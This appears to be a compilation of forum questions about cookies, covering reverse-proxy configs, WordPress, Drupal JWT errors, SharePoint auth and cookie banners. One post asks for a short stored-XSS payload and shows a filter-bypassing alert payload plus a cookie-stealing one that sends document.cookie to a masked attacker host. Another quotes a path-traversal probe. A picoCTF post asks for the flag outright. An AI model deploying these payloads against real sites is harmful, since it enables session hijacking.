Apache Reverse Proxy – HTTP requests with a Cookie

We have an Apache Reverse Proxy which works fine (configuration below). Now we have the need to forward a few requests to another server (server3.domain.com) and check that a cookie named “LtpaToken” exists in user request. If the cookie is absent, the error page will return (we want to block anonymous requests).

I need to forward http(s)://server.domain.com/jsreports/* to JSReport’s http(s) server VM ( server3.domain.com IP address) and check the LtpaToken if exists.

Can anybody give some hints how can it be implemented? Thank you!

        SSLEngine on
        SSLProxyEngine On
        SSLProxyVerify none
        SSLProxyCheckPeerCN off
        SSLProxyCheckPeerName off

ServerName server.domain.com
        ServerAlias server.com
        ProxyRequests Off
#   ProxyPreserveHost On
    
<Proxy balancer://my_cluster>
    BalancerMember https://server.domain.com keepalive=on
    BalancerMember https://server2.domain.com keepalive=on  status=+H
    AllowOverride None
    Order allow,deny
    allow from all
    
#   ProxySet lbmethod=byrequests
</Proxy>

 <Location /balancer-manager>
        SetHandler balancer-manager
        Order deny,allow
    Deny from all
        allow from 192.168.1
    allow from 5.5.20
    allow from 10.0.0
</Location>

    ProxyPass /balancer-manager !   
    ProxyPass / balancer://my_cluster/
    ProxyPassReverse / balancer://my_cluster/

ubuntu – cookie is lost on refresh using nginx as proxy_reverse. I like the cookie and would like to keep it set in the browser

I’m new to Nginx and ubuntu – have been with windows server for over a decade and this is my first try to use ubuntu and Nginx so feel free to correct any wrong assumption I write here 🙂

my setup: I have an expressjs app (node app) running as an upstream server. I have front app – built in svelte- access the expressjs/node app through Nginx proxy_reverse. Both ends are using letsencrypt and cors are set as you will see shortly.

When I run front and back apps on localhost, I’m able to login, set two cookies to the browser and all endpoints perform as expected.

When I deployed the apps I ran into weird issue. The cookies are lost once I refresh the login page. Added few flags to my server block but no go.

I’m sure there is a way – I usually find a way – but this issue really beyond my limited knowledge about Nginx and proxy_reverse setup. I’m sure it is easy for some of you but not me. I hope one of you with enough knowledge point me in the right direction or have explanation to how to fix it.

Here is the issue:
my front is available at travelmoodonline.com. Click on login. Username : mongo@mongo.com and password is 123.
inspect dev tools network. Header and response are all set correctly. Check the cookies tab under network once you login and you will get two cookies, one accesstoken and one refreshtoken.

Refresh the page. Poof. Tokens are gone. I no longer know anything about the user. stateless.

In localhost, I refresh and the cookies still there once I set them. In Nginx as proxy, I’m not sure what happens.

So my question is : How to fix it so cookies are set and sent with every req? Why the cookies disappear? Is it still there in memory somewhere? Is the path wrong? Or the cockies are deleted once I leave the page so if I redirect the user after login to another page, the cookies are not showing in dev tools.

My code :
node/expressjs server route code to login user:

app.post('/login',  (req, res)=>{
   //get form data and create cookies
   res.cookie("accesstoken", accessToken, { sameSite: 'none', secure : true });  
   res.cookie("refreshtoken", refreshtoken, { sameSite: 'none', secure : true }).json({ 
   "loginStatus": true, "loginMessage": "vavoom : doc._id })      

 }

Frontend – svelte – fetch route with a form to collect username and password and submit it to server:

    function loginform(event){
  username = event.target.username.value;
  passwordvalue = event.target.password.value;

  console.log("event username: ", username);
  console.log("event password : ", passwordvalue);

  async function asyncit (){
   
  let response = await fetch('https://www.foodmoodonline.com/login',{
  method: 'POST',
  origin : 'https://www.travelmoodonline.com',
  credentials : 'include',
  headers: {
  'Accept': 'application/json',
  'Content-type' : 'application/json'
  },
  body: JSON.stringify({
  //username and password
  })

  }) //fetch

Now my Nginx server blocks :

# Default server configuration
#
server {
    
    listen 80 default_server;
    listen (::):80 default_server;  

    root /var/www/defaultdir;
    index index.html index.htm index.nginx-debian.html;

    server_name _; 
    location / {
        try_files $uri $uri/ /index.html;
    }

   }



#  port 80 with www

server {
    listen 80;
    listen (::):80;


    server_name www.travelmoodonline.com;

    root /var/www/travelmoodonline.com;

    index index.html;

    location / {
        try_files $uri $uri/ /index.html;
    }

    return 308 https://www.travelmoodonline.com$request_uri; 

}

#  port 80 without wwww
server {
    listen 80;
    listen (::):80;

    server_name travelmoodonline.com;

    root /var/www/travelmoodonline.com;
 
    index index.html;

    location / {
        try_files $uri $uri/ /index.html;
    }

    return 308 https://www.travelmoodonline.com$request_uri;
}



# HTTPS server (with www) port 443 with www

server {
    listen 443 ssl;
    listen (::):443 ssl;
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";
    server_name www.travelmoodonline.com;    
    root /var/www/travelmoodonline.com;
    index index.html;    
    
    
    
    ssl_certificate /etc/letsencrypt/live/travelmoodonline.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/travelmoodonline.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

    location / {
        try_files $uri $uri/ /index.html;       
    }
    

}


# HTTPS server (without www) 
server {
    listen 443 ssl;
    listen (::):443 ssl;
     add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";
    server_name travelmoodonline.com;
    root /var/www/travelmoodonline.com;
    index index.html;
   

    location / {
        try_files $uri $uri/ /index.html;       
    }
    
    ssl_certificate /etc/letsencrypt/live/travelmoodonline.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/travelmoodonline.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot

    
   }






server {

    server_name foodmoodonline.com www.foodmoodonline.com;

#   localhost settings
    location / {
        proxy_pass http://localhost:3000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;

    
    #    proxy_cookie_path / "/; secure; HttpOnly; SameSite=strict";
    #   proxy_pass_header  localhost;

    #    proxy_pass_header Set-Cookie;
    #    proxy_cookie_domain localhost $host;
    #   proxy_cookie_path /; 

    }

    listen (::):443 ssl; # managed by Certbot
    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/foodmoodonline.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/foodmoodonline.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
}

server {
    if ($host = www.foodmoodonline.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    if ($host = foodmoodonline.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    listen 80;
    listen (::):80;
    server_name foodmoodonline.com www.foodmoodonline.com;
    return 404; # managed by Certbot

}

I tried 301-302-307 and 308 after reading about some of them covers the GET and not POST but didn’t change the behavior I described above. Why the cookie doesn’t set/stay in the browser once it shows in the dev tools. Should I use rewrite instead of redirect???? I’m lost.

Not sure is it nginx proxy_reverse settings I’m not aware of or is it server block settings or the ssl redirect causing the browser to loose the cookies but once you set the cookie, the browser suppose to send it with each req. What is going on here?

Thank you for reading.

customization – When is the wp-settings-[time] cookie generated?

I created a custom plugin for login and registration forms.
When I log in for a new user, 4 cookies are set : PHPSESSID, wordpress_test_cookie, wordpress_logged_in_, and 2 wordpress_sec_ .
But I don’t have wp-settings- and wp-settings-time-.
However my admin account have these cookies.
I can’t find a wordpress documentation that explain which function set these cookies.
It is just said : Without plugins installed, WordPress sets the following cookies:
wordpress_(hash)
wordpress_logged_in_(hash)
wordpress_test_cookie
wp-settings-{time}-(UID)

I don’t use “setcookie” at the moment .

The functions I use to allow him to access his account :

wp_clear_auth_cookie();
wp_set_current_user($info->ID, $username);  
wp_set_auth_cookie( $info->ID, true, is_ssl() );

flags – Success with cookie, fails with JWT: RuntimeException: Failed to start the session because headers have already been sent

My Controller is working with cookie auth but failing with JWT. This Controller is supposed to flag an entity for the logged-in user.

If I am using cookie auth, there are no errors and everything works as expected.

But when I try to use JWT, although the entity does get flagged correctly, I get the following error in the Drupal logs:

RuntimeException: Failed to start the session because headers have
already been sent by
“/app/vendor/symfony/http-foundation/Response.php” at line 377. in
SymfonyComponentHttpFoundationSessionStorageNativeSessionStorage->start()
(line 150 of
/app/vendor/symfony/http-foundation/Session/Storage/NativeSessionStorage.php)

How do I fix this error?

Here’s how I’m using JWT auth in Postman:

POST http://example.com/api/group_add?_format=json

Headers:

  • Accept: application/vnd.api+json
  • Content-Type: application/vnd.api+json
  • Cache: no-cache
  • Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MTgyMDk4MjAsImV4cCI6MTYyMzM5MzgyMCwiZHJ1cGFsIjp7InVpZCI6IjI3In19.5uDJMtokLXD6K63H5Ikb-F870EYFMrgE4mItTuTT3bI

Request body:

{
    "entity_id": "14"
}

As for the Controller, here’s MYMODULE.routing.yml:

MYMOUDLE.api_flagging.http:
  path: '/api/group_add'
  defaults:
    _controller: 'DrupalMYMODULEControllerApiFlagging::flag'
  methods: (POST)
  requirements:
    _permission: 'view own commerce_order'
    _format: 'json'
  options:
    no_cache: 'TRUE'

Here’s ApiFlagging.php:

<?php

namespace DrupalMYMODULEController;

use DrupalCoreControllerControllerBase;
use DrupalflagFlagServiceInterface;
use SymfonyComponentDependencyInjectionContainerInterface;
use SymfonyComponentHttpFoundationJsonResponse;
use SymfonyComponentHttpFoundationRequest;
use SymfonyComponentHttpKernelExceptionBadRequestHttpException;
use SymfonyComponentSerializerEncoderJsonEncoder;
use SymfonyComponentSerializerSerializer;

/**
 * Class ApiFlagging.
 *
 * Https://www.drupal.org/project/flag/issues/3091824#comment-13336379
 */
class ApiFlagging extends ControllerBase {

  const FLAG_ID = 'ABC';

  /**
   * The flag service.
   *
   * @var DrupalflagFlagServiceInterface
   */
  protected $flagService;

  /**
   * The serializer.
   *
   * @var SymfonyComponentSerializerSerializer
   */
  protected $serializer;

  /**
   * The available serialization formats.
   *
   * @var array
   */
  protected $serializerFormats = ();

  /**
   * Constructs a new ApiFlagging object.
   */
  public function __construct(Serializer $serializer, array $serializer_formats, FlagServiceInterface $flag) {
    $this->serializer = $serializer;
    $this->serializerFormats = $serializer_formats;
    $this->flagService = $flag;
  }

  /**
   * {@inheritdoc}
   */
  public static function create(ContainerInterface $container) {
    if ($container->hasParameter('serializer.formats') && $container->has('serializer')) {
      $serializer = $container->get('serializer');
      $formats = $container->getParameter('serializer.formats');
    }
    else {
      $formats = ('json');
      $encoders = (new JsonEncoder());
      $serializer = new Serializer((), $encoders);
    }

    return new static(
      $serializer,
      $formats,
      $container->get('flag')
    );
  }

  /**
   * Flagging.
   */
  public function flag(Request $request) {
    $format = $this->getRequestFormat($request);

    $content = $request->getContent();
    $flagData = $this->serializer->decode($content, $format);
    $flag = $this->flagService->getFlagById(self::FLAG_ID);
    $flaggableEntityTypeId = $flag->getFlaggableEntityTypeId();

    $my_goals = NULL;
    if (array_key_exists('goals', $flagData)) {
      $my_goals = $flagData('goals');
    }

    $entity = Drupal::entityTypeManager()
      ->getStorage($flaggableEntityTypeId)
      ->load($flagData('entity_id'));

    if ($my_goals === NULL) {
      return new JsonResponse((
        'error_message' => 'Goals not set.',
      ), 400);
    }

    try {
      /** @var DrupalflagEntityFlagging $flagging */
      $flag->set('field_goals', $my_goals);
      $flagging = $this->flagService->flag($flag, $entity);
    }
    catch (LogicException $e) {
      $message = $e->getMessage();
      kint('error', $e);
      return new JsonResponse((
        'error_message' => $message,
      ), 400);
    }

    return new JsonResponse((
      'message' => 'flag success',
      'flagging_uuid' => $flagging->uuid(),
      'flagging_id' => $flagging->id(),
      'flag_id' => $flagging->getFlagId(),
    ));
  }

  /**
   * Gets the format of the current request.
   *
   * @param SymfonyComponentHttpFoundationRequest $request
   *   The current request.
   *
   * @return string
   *   The format of the request.
   */
  protected function getRequestFormat(Request $request) {
    $format = $request->getRequestFormat();
    if (!in_array($format, $this->serializerFormats)) {
      throw new BadRequestHttpException("Unrecognized format: $format.");
    }
    return $format;
  }

}

sharepoint online – SPOIDCRL cookie authentication stopped working

I used a flow described in many places of the Internet, obtaining the SPOIDCRL cookie and using it in Python scripts to work with the SharePoint 365 resources.

Recently, that stopped working. I started getting the 401 Unauthorized error at the last step:

GET https://<TenantURL>/_vti_bin/idcrl.svc/

with this message in the Response Headers:

X-MSDAVEXT_Error: 917656; Access+denied.+Before+opening+files+in+this+location%2c+you+must+first+browse+to+the+web+site+and+select+the+option+to+login+automatically.

Could you please suggest what was changed on the SharePoint side to stop this authentication method working?

And what alternative method could be used in this situation?

What is the meaning of “[*.]” in the Chrome cookie exceptions dialog?

enter image description here
Screenshot of the add-to-cookie-whitelist pop up (chrome://settings/cookies?search=cookies)

I am always entering the metacharacters (*.) here, what is their meaning? Do i correctly guess that () means zero or one, * means one or more letters from “a” to “z”, and . means the literal “.”?

(some 300+ points owner: would you be so kind to append metacharacter to the tags of this question and then delete this paragraph?)

usability – Full screen cookie banner on mobile, is it a bad or good approach?

I am developing a cookie banner for a company. The designer presented all the mockups, but I am not convinced whether it should be full-screen on mobile. The advantage is that the user might be seeing all the banner text at the same time, but you are forcing him to see that instead of the website he intended to visit. On the other hand, a half-width cookie banner is having the lorem ipsum text having to be scrolled down, which is also not optimal

enter image description here

network – How do I find the cookie this problem is looking for on this site?

I am doing a web exploitation problem on a challenge site which I do not understand.

Here is the question, I am given a link to a spoof website:

Who doesn’t love cookies? Try to figure out the best one. http://mercury.picoctf.net:29649/

In order to solve the problem and get the points on the challenge site, there is going to be a “flag” hidden somewhere on the spoof website given that I have to find. This “flag” is in the format of picoCTF{XXXX} where the ‘X’ is unknown, that is what I have to find. Once I find it in the spoof website. I have to copy and paste the flag into the question box to get the points.

When clicking on the link I am taken to a spoof website where I imagine I am supposed to manipulate the cookies in some way to find the ‘flag’. I have been trying for hours and have no luck finding it, I am a complete noob to web exploitation.

Can someone please help me find the flag, preferably by telling me what it is, I have no idea and need to solve this, it is in the format of picoCTF{XXX}. Thanks

web application – Stored XSS Cookie Stealing – shortest payload

I’m testing a web app (for which I have permissions) and I found a stored XSS vulnerability.

It is a little bit tricky to exploit because the input:

  • is being capitalized
  • it has a length constraint of 61 characters (every char over the 61th is being replaced with a .)

If I just insert for example <input oncut=alert(1)>, the payload is transformed to <input oncut=ALERT(1)> and it is not triggered.

To bypass the first problem, I’m using HTML entities, so I’m able to trigger an alert with the following payload:

<input oncut=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)>

I want to show the real impact of the vulnerability and perform a cookie stealing and inject something like (I have a listener on my machine waiting for my php script to grab the cookies. ):

<div onmouseover="new Image().src='https://xx.xxx.xxx.xxx:port/steal.php?c='+escape(document.cookie)>

But this payload is not working as everything after the 61th character is being replaced with a ., and words like http and new Image need to be encoded to avoid the capitalization.

Do you have any suggestion for a payload able to bypass the mentioned constraints?

database – How to avoid SQL stack trace displayed resulted by manipulating cookie content or form_build_id values

How to avoid drupal displying sql stack trace error on front end page

I am getting below error through security scan application run which is trying to manipulate the cookie content or form_build_id values and hence below error is thrown by drupal core classes.

The website encountered an unexpected error. Please try again later.DrupalCoreDatabaseDatabaseExceptionWrapper: SQLSTATE(HY000): General error: 1267 Illegal mix of collations (ascii_general_ci,IMPLICIT) and (utf8mb4_general_ci,COERCIBLE) for operation ‘=’: SELECT name, value FROM {key_value_expire} WHERE expire > :now AND name IN ( :keys__0 ) AND collection = :collection; Array ( (:now) => 1614832619 (:collection) => tempstore.private.entity_delete_multiple_confirm (:keys__0) => /����/����/����/����/����/����/����/����/����/����/����/����/winnt/win.ini��.html:0:node )